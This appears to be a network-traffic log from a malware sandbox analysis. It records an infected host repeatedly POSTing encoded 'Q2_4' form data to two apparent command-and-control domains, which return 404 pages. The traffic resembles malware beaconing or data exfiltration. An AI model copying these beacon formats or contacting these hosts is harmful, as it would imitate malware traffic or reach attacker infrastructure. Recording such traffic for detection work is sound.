Nov 5, 2024 15:38:31.995176077 CET	735	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 44 64 4c 68 4f 49 32 78 6e 64 4c 30 5a 36 35 34 6c 4d 55 38 59 34 48 54 38 35 61 66 6a 33 61 66 4d 53 35 34 52 6e 47 68 52 66 68 54 6f 48 39 6f 74 6c 4c 75 56 7a 6e 58 43 49 38 30 71 53 79 44 70 6b 44 30 6f 44 51 4d 30 2f 31 50 74 45 2b 51 56 75 30 70 44 4f 33 33 4e 66 36 6e 30 69 49 71 47 43 54 4e 4f 46 74 41 59 39 72 45 45 79 4a 79 64 41 77 36 56 78 6c 59 31 72 57 62 32 41 50 4a 53 4f 76 36 37 59 4c 42 6f 32 54 63 50 65 53 59 77 33 48 6c 4c 68 36 6b 2f 4b 61 68 39 4c 5a 71 41 52 66 33 46 4e 4a 46 46 43 75 49 56 6e 66 4a 37 4e 77 4b 41 3d 3d Data Ascii: Q2_4=ie+Q6zlFBhufIDdLhOI2xndL0Z654lMU8Y4HT85afj3afMS54RnGhRfhToH9otlLuVznXCI80qSyDpkD0oDQM0/1PtE+QVu0pDO33Nf6n0iIqGCTNOFtAY9rEEyJydAw6VxlY1rWb2APJSOv67YLBo2TcPeSYw3HlLh6k/Kah9LZqARf3FNJFFCuIVnfJ7NwKA==
Nov 5, 2024 15:38:32.210288048 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:32 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	49808	195.110.124.133	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:34.753774881 CET	755	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 6a 4e 4c 73 4e 67 32 34 6e 64 4b 34 35 36 35 33 46 4d 49 38 59 30 48 54 39 38 58 66 51 54 61 63 75 4b 35 37 54 50 47 6d 52 66 68 59 49 48 43 6e 4e 6c 36 75 56 76 56 58 47 49 38 30 71 57 79 44 6f 34 44 31 65 4c 54 4e 6b 2f 7a 45 4e 45 38 65 31 75 30 70 44 4f 33 33 4a 33 41 6e 30 71 49 74 32 79 54 4f 73 74 73 63 6f 39 71 44 45 79 4a 35 39 42 35 36 56 77 47 59 30 47 7a 62 30 49 50 4a 51 57 76 35 71 59 49 62 34 33 59 54 76 66 75 58 51 79 41 6b 50 56 35 76 75 69 59 35 75 54 38 76 57 41 46 71 33 35 74 47 57 65 63 4d 6c 65 33 4c 35 4d 72 58 43 33 51 6c 55 55 6c 63 4a 5a 4b 37 79 47 7a 66 6c 52 62 68 47 34 3d Data Ascii: Q2_4=ie+Q6zlFBhufIjNLsNg24ndK45653FMI8Y0HT98XfQTacuK57TPGmRfhYIHCnNl6uVvVXGI80qWyDo4D1eLTNk/zENE8e1u0pDO33J3An0qIt2yTOstsco9qDEyJ59B56VwGY0Gzb0IPJQWv5qYIb43YTvfuXQyAkPV5vuiY5uT8vWAFq35tGWecMle3L5MrXC3QlUUlcJZK7yGzflRbhG4=
Nov 5, 2024 15:38:34.973217010 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:34 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49809	195.110.124.133	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:37.492533922 CET	7904	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 6a 4e 4c 73 4e 67 32 34 6e 64 4b 34 35 36 35 33 46 4d 49 38 59 30 48 54 39 38 58 66 51 62 61 66 64 43 35 34 79 50 47 6e 52 66 68 45 34 48 44 6e 4e 6c 64 75 56 6d 65 58 47 4d 47 30 6f 65 79 42 4b 63 44 79 73 6a 54 44 6b 2f 7a 4c 74 45 39 51 56 75 62 70 48 71 37 33 4e 54 41 6e 30 71 49 74 77 65 54 5a 75 46 73 50 34 39 72 45 45 79 4e 79 64 41 63 36 56 34 34 59 30 79 4e 62 46 6f 50 48 51 47 76 2f 59 67 49 44 6f 33 61 57 76 66 32 58 52 4f 50 6b 4f 38 4b 76 74 2b 79 35 6f 33 38 6a 68 74 67 34 58 4e 7a 54 33 79 33 45 55 32 32 42 34 73 49 64 31 72 2f 68 6d 45 62 63 4f 42 7a 31 44 4f 36 43 41 46 75 2f 78 46 4f 4b 4b 55 31 76 68 36 4e 6e 79 39 75 53 46 66 64 33 46 4a 39 39 34 59 4d 32 41 51 32 35 78 4a 64 52 4a 4b 59 72 32 34 6d 47 65 62 66 74 56 4a 4a 4c 35 41 6b 65 48 34 61 52 33 4e 46 50 46 2f 35 78 57 6e 67 44 49 2b 31 50 41 39 59 64 77 37 47 79 67 66 75 52 77 54 49 54 34 6a 32 6e 6f 55 70 72 35 70 6b 79 7a 55 44 37 69 42 74 4a 37 74 43 33 67 34 57 6c [TRUNCATED] Data Ascii: Q2_4=ie+Q6zlFBhufIjNLsNg24ndK45653FMI8Y0HT98XfQbafdC54yPGnRfhE4HDnNlduVmeXGMG0oeyBKcDysjTDk/zLtE9QVubpHq73NTAn0qItweTZuFsP49rEEyNydAc6V44Y0yNbFoPHQGv/YgIDo3aWvf2XROPkO8Kvt+y5o38jhtg4XNzT3y3EU22B4sId1r/hmEbcOBz1DO6CAFu/xFOKKU1vh6Nny9uSFfd3FJ994YM2AQ25xJdRJKYr24mGebftVJJL5AkeH4aR3NFPF/5xWngDI+1PA9Ydw7GygfuRwTIT4j2noUpr5pkyzUD7iBtJ7tC3g4WlTbMH99aCOyvM6tGfBiuqGt4g/aMDYVOTLL4CZxvcGj/ci8UgYqm1sbP1m4hhkD00y7AKAhqWmBRYzAkKy+WHo480SfDCr1gRXLU0+RT6PEXPgebTe1IxDfjC6jFecx6q7QXRVQOvFNvDMjUR8q2Kxyl0eDfSqVcMlq+SNAMpib/J80w+bkxtwHCeeNaK5Xhwq/olhFfazsIkdg6YgY5/XM8FmMrsbxcCOMuwZkuSVZ4hZ6W5xKrR0FtJLRql/AzqhQ36gtnd81DpOoeHii+wRQv3Pan3WARFWXnEgDiYzozSfmAlzITW+PlkC5RWRNbS48gvF2EZCAz9s0BKHVzUUc6UvNinFdI/iEJHUBoc66YvqNfaav9naC7HKkm42s3Xsd55hC/O1ESEy6DGKv/2/Q9/+nL3+IfAoVvyHOWS519pyq3X2oNR0NzH9+r9eDkM9Xaerfvd7zKd2VIW8VE9ORTJk6IY4GQeotvEZxjkWA0bsmvNUwTzNhu48rANPb73k9yxrb4rezI7Oe1qDxcBgCqVRCKfyG53tvNoerjL/j4tTKZFOssHItrPi+PoDZlbgSD2tnTbqv7fROgW0CSCxwCjDyREiCIHNpuPtyP6GcD+g/kQWPxHcORg+rAVUmej5AGb3HI0gbyEuZsvZLPENO3yrHDKD279xO [TRUNCATED]
Nov 5, 2024 15:38:37.704250097 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:37 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49810	195.110.124.133	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:40.225492954 CET	460	OUT	GET /oy0l/?uXP=1HX8&Q2_4=vcWw5DdjdQnkJmRMu9Bv0nYhxIjg8XNP87kLKcEwcjL/VJXYlRnLhwXYdIbeiM5Wp1LHJGQmwLmzd8N63pnOImbiL9MWYGLhlQi4+Y3hzWOb/gf9Ze4XcY0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.nidedabeille.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:38:40.483453989 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:40 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	49811	203.161.41.204	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:45.678103924 CET	723	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 56 32 6e 53 33 7a 45 4e 61 77 47 73 4a 42 32 39 79 70 6b 76 77 7a 54 46 30 68 77 79 6a 6a 76 6c 55 6f 31 47 41 31 34 6d 50 77 65 4b 4a 45 41 38 6f 36 47 65 37 5a 63 32 72 71 33 79 41 38 39 33 6b 51 78 4f 62 45 57 6a 6f 74 37 36 39 53 2f 41 4a 61 33 2f 79 5a 72 6c 73 48 70 31 47 4e 6a 67 4e 4c 48 53 63 4f 78 67 78 73 54 6a 61 51 33 34 49 6b 76 55 67 73 59 4c 49 46 62 69 34 2f 4e 4d 6f 78 55 62 49 32 37 50 36 35 63 65 36 49 34 52 4b 4d 56 46 66 6a 34 76 62 48 6b 6e 36 44 75 6e 67 77 67 4c 72 74 41 32 47 66 4d 4e 36 72 61 41 30 33 38 34 7a 67 3d 3d Data Ascii: Q2_4=gw2m3M8X73DGV2nS3zENawGsJB29ypkvwzTF0hwyjjvlUo1GA14mPweKJEA8o6Ge7Zc2rq3yA893kQxObEWjot769S/AJa3/yZrlsHp1GNjgNLHScOxgxsTjaQ34IkvUgsYLIFbi4/NMoxUbI27P65ce6I4RKMVFfj4vbHkn6DungwgLrtA2GfMN6raA0384zg==
Nov 5, 2024 15:38:45.871273994 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:45 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	49812	203.161.41.204	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:48.392868996 CET	743	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 55 58 58 53 78 67 73 4e 53 77 47 6a 4d 42 32 39 34 4a 6b 72 77 7a 66 46 30 67 31 76 6a 52 37 6c 55 4a 46 47 48 45 34 6d 4d 77 65 4b 42 6b 41 35 6e 61 48 63 37 5a 51 51 72 72 62 79 41 38 35 33 6b 56 56 4f 61 33 4f 67 6f 39 37 38 30 79 2f 43 52 36 33 2f 79 5a 72 6c 73 48 38 69 47 4c 4c 67 4f 34 50 53 63 76 78 6e 76 63 54 38 64 51 33 34 66 30 76 51 67 73 5a 63 49 41 37 59 34 39 31 4d 6f 78 45 62 49 6e 37 4d 78 35 63 63 30 6f 35 6a 61 70 49 35 51 67 6f 55 59 58 70 2b 79 78 43 2b 6f 47 78 52 32 66 30 53 46 4d 51 2f 2b 62 6a 6f 32 31 39 6a 75 69 72 69 2f 2b 38 6e 46 55 56 6c 77 4a 71 4f 39 32 69 2b 42 52 34 3d Data Ascii: Q2_4=gw2m3M8X73DGUXXSxgsNSwGjMB294JkrwzfF0g1vjR7lUJFGHE4mMweKBkA5naHc7ZQQrrbyA853kVVOa3Ogo9780y/CR63/yZrlsH8iGLLgO4PScvxnvcT8dQ34f0vQgsZcIA7Y491MoxEbIn7Mx5cc0o5japI5QgoUYXp+yxC+oGxR2f0SFMQ/+bjo219juiri/+8nFUVlwJqO92i+BR4=
Nov 5, 2024 15:38:48.576363087 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:48 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	49813	203.161.41.204	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:51.098264933 CET	2578	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 55 58 58 53 78 67 73 4e 53 77 47 6a 4d 42 32 39 34 4a 6b 72 77 7a 66 46 30 67 31 76 6a 52 6a 6c 55 66 35 47 41 54 6b 6d 43 51 65 4b 64 30 41 34 6e 61 47 45 37 5a 59 4d 72 71 6e 45 41 2f 4e 33 6c 7a 5a 4f 64 47 4f 67 37 64 37 38 35 53 2f 42 4a 61 33 71 79 5a 62 68 73 48 73 69 47 4c 4c 67 4f 2b 72 53 61 2b 78 6e 74 63 54 6a 61 51 33 2f 49 6b 75 33 67 74 77 70 49 41 33 49 74 64 56 4d 70 56 59 62 4b 56 6a 4d 38 35 63 61 35 49 35 37 61 70 4d 63 51 67 30 70 59 58 4d 56 79 33 43 2b 6f 41 59 35 78 73 45 45 63 4d 51 45 6a 72 2b 65 77 58 6c 4e 6a 69 6a 31 78 4f 73 72 4f 69 5a 79 31 35 61 6d 70 55 57 76 66 33 2f 44 75 34 46 49 4e 4b 75 73 2b 4c 74 4c 4e 57 32 77 62 67 6f 4e 6b 59 4d 69 43 62 71 68 54 68 6d 31 65 4e 68 57 2b 4d 59 7a 4d 49 2b 73 46 6b 53 72 4b 59 58 52 4a 6c 62 69 6e 30 47 64 43 72 49 46 49 36 56 79 36 6b 58 34 68 39 57 47 46 6f 68 7a 47 36 41 66 32 49 34 44 59 51 48 61 6d 4c 74 6c 51 4b 7a 68 61 62 47 37 55 4a 39 46 38 6d 35 48 70 65 35 6e 76 [TRUNCATED] Data Ascii: Q2_4=gw2m3M8X73DGUXXSxgsNSwGjMB294JkrwzfF0g1vjRjlUf5GATkmCQeKd0A4naGE7ZYMrqnEA/N3lzZOdGOg7d785S/BJa3qyZbhsHsiGLLgO+rSa+xntcTjaQ3/Iku3gtwpIA3ItdVMpVYbKVjM85ca5I57apMcQg0pYXMVy3C+oAY5xsEEcMQEjr+ewXlNjij1xOsrOiZy15ampUWvf3/Du4FINKus+LtLNW2wbgoNkYMiCbqhThm1eNhW+MYzMI+sFkSrKYXRJlbin0GdCrIFI6Vy6kX4h9WGFohzG6Af2I4DYQHamLtlQKzhabG7UJ9F8m5Hpe5nvLX6s72vw/CvI9HsA2bFSy0Zqd/ghy6HCeMTKcrcT/JJ/fA5gCCYl6OniwykmFE8F/wC6Wb7OTw7qKVcXqt9M0Pbk68ElUk8NjBJfTT22MRVr+SecM+Kf5/y8EOtncHK2qvEhNNYKWGd2cceyV/hWpaOjcEj96yKeLZqjPHZ5Tur+J8B6dBXe23B5zD0WjeuDD9xtv51ABGRkNwD+R+X+ttHjWyMx9Ld6IRv3pZ5F3NfMnSUsihcsx9ZzpcWTrHF6dXPkGHmkrrdccF57VF5mluikZbK0XbzO71+ciTwyTmvHuZgWujfN1NqLqGcF81Ey3i3suLu3z/HuCor09lZePeZ2GQmSXRhdHkbQJWCNjrcP+oVFKQhl6sdArSy3UmMa+t7v57bSNZu4VB7SmXv6WB44G+ygqTpK8JdnFQfJjKWn5XqJzahFubLoVC+ZV48KLVf3ZVJMHiDXsAyUR9SRuY1fONxIFLLbISj7lNMKdrq3KoOXMDr7WAmuXwcB8NyxEuMoccQBobQcQRjGH2L/h5B+VAZ5G4X222pQqPqwwCurtlDHaQCGhbXuNbKVB7rLwc7x3VncVvlxS/ZGBpQmEBBD2cC3Dvt0GgAY19jYRPUi+Z8V3sS5v2Ew18uCSUvDR3phvKrU378nn9Z599gypekwO8yPDDJCZO [TRUNCATED]
Nov 5, 2024 15:38:51.098340034 CET	5314	OUT	Data Raw: 5a 56 76 41 45 38 36 75 63 38 57 69 75 50 42 4f 33 46 75 78 7a 45 5a 4d 69 51 47 54 58 4c 37 54 72 54 4d 53 6c 73 67 4c 72 56 4a 57 71 7a 50 6e 62 79 34 33 42 48 71 6c 37 32 76 6e 6f 2b 45 4f 43 2f 6f 71 53 58 46 58 54 79 33 6a 52 6a 63 38 4e 70 Data Ascii: ZVvAE86uc8WiuPBO3FuxzEZMiQGTXL7TrTMSlsgLrVJWqzPnby43BHql72vno+EOC/oqSXFXTy3jRjc8NpxwfuwWFtZphnX4JH9oXzxtjyTLruNqKeZl1oMYSwsogzKS9WaStS0Gn1gjewCggvgTfj+wpQ1cgsEceqodl1EzM7YVdUH7npWVskQzRDB8uhYzcXsXfDzpD/YgCZqSjz9cRrvM/YWw8GNbSzKqq/1u6pkUykoUDOM
